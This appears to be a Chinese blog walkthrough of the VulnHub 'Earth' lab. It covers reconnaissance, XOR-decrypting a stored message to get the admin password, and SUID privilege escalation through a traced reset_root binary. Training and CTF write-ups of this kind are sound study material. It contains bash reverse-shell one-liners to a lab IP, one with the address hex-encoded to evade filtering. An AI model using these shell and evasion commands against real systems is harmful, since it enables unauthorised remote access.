Featured image of post Earth

Earth

vulnhub靶场之Earth

信息收集

主机探测

扫端口

域名解析

有DNS解析的域名,由于是用的虚拟机,所以需要本地解析才能访问域名

/etc/hosts加上目标ip+域名

能访问域名

扫目录

找漏洞

能试出来是txt文件

1
2
3
4
5
6
7
8
9
测试安全消息传递系统注意事项
*使用XOR加密作为算法应该像在RSA中使用的那样安全
*地球已确认他们已收到我们发送的信息
*testdata.txt用于测试加密
*terra 用作管理员门户的用户名
待办事项
*我们如何安全地将我们的月度密钥发送到地球还是我们应该每周更换一次密钥
*需要测试不同的密钥长度以防止暴力破解钥匙应该多长
*需要改进消息传递界面和管理面板的界面目前非常基础

这里说明了一个terra用户

testdata.txt

联系到

这里看wp才知道是用这里的数字和testdata.txt进行xor

1
2
3
4
5
6
import binascii
data1 = "37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40"

f = binascii.b2a_hex(open('3.txt', 'rb').read()).decode()

print(hex(int(data1,16)^int(f,16)))

对结果hex解码

第三个hex解码得到

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

都是重复的earthclimatechangebad4humans,密码应该是这个

登录后能执行命令

渗透提权

getshell

bash反弹一下

bash -i >& /dev/tcp/192.168.141.129/1234 0>&1

没反应,可能ip被过滤了,用编码绕过

bash -i >& /dev/tcp/0xc0.0xa8.0x8d.0x81/1234 0>&1

稳定一下shell

第一个flag

SUID提权

reset_root能修改root的密码但是运行报错

放到ida

通过ltrace跟踪ELF二进制文件的库调用

在靶机上创建这几个文件

运行后su 输入密码登录root

拿到第二个flag

总结

1.联系数字和文本的xor解密

2.reset_root文件的ELF二进制调用的库,通过ltrace跟踪

最后更新于 Mar 03, 2025 15:27 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计